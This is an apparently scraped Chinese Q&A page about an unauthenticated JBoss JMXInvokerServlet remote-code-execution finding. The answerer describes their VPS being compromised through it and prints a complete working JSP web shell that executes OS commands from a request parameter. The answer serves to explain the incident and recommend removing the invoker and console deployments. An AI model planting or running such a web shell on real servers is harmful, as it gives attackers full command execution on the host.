Java Apache Tomcat/JBoss EJBInvokerServlet/JMXInvokerServlet(HTTP上的RMI)封送对象远程代码执行
在测试期间,我们执行了漏洞扫描,并确定了一个Jboss服务器,该服务器不需要对JMXInvokerSerlet进行身份验证。 我没有完全理解这个问题。是Jboss问题还是servlet问题 如果有人能帮我,请告诉我解决办法 问题是什么?有什么解决办法?Java Apache Tomcat/JBoss EJBInvokerServlet/JMXInvokerServlet(HTTP上的RMI)封送对象远程代码执行,java,tomcat,jboss,Java,Tomcat,Jboss,在测试期间,我们执行了漏洞扫描,并确定了一个Jboss服务器,该服务器不需要对JMXInvokerSerlet进行身份验证。 我没有完全理解这个问题。是Jboss问题还是servlet问题 如果有人能帮我,请告诉我解决办法 问题是什么?有什么解决办法? 提前谢谢你我最近在VPS上遇到了这个问题 我安装了JBoss(版本4.2.3),任何人都可以访问web控制台和调用程序。发生的事情是,有人利用了这一点,在我的Jboss安装中使用了一个现有的JSP web shell JSP Web Shell基
提前谢谢你我最近在VPS上遇到了这个问题 我安装了JBoss(版本4.2.3),任何人都可以访问web控制台和调用程序。发生的事情是,有人利用了这一点,在我的Jboss安装中使用了一个现有的JSP web shell JSP Web Shell基本上是这样的:
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd;
String[] cmdarr;
String OS = System.getProperty("os.name");
if (request.getParameter("cmd") != null) {
cmd = new String (request.getParameter("cmd"));
if (OS.startsWith("Windows")) {
cmdarr = new String [] {"cmd", "/C", cmd};
}
else {
cmdarr = new String [] {"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(cmdarr);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
这使得攻击者基本上可以直接从浏览器执行操作系统命令。在我的例子中,我的VPS被用来挖掘比特币,在wget获取一个Perl脚本之后,它看起来像是另一种类型的控制台
惨痛的教训:(所以,如果你还没有做任何事情,请做
我只是删除了HttpInvoker和WebConsole/JMX控制台的部署,因为我不需要它们
希望有帮助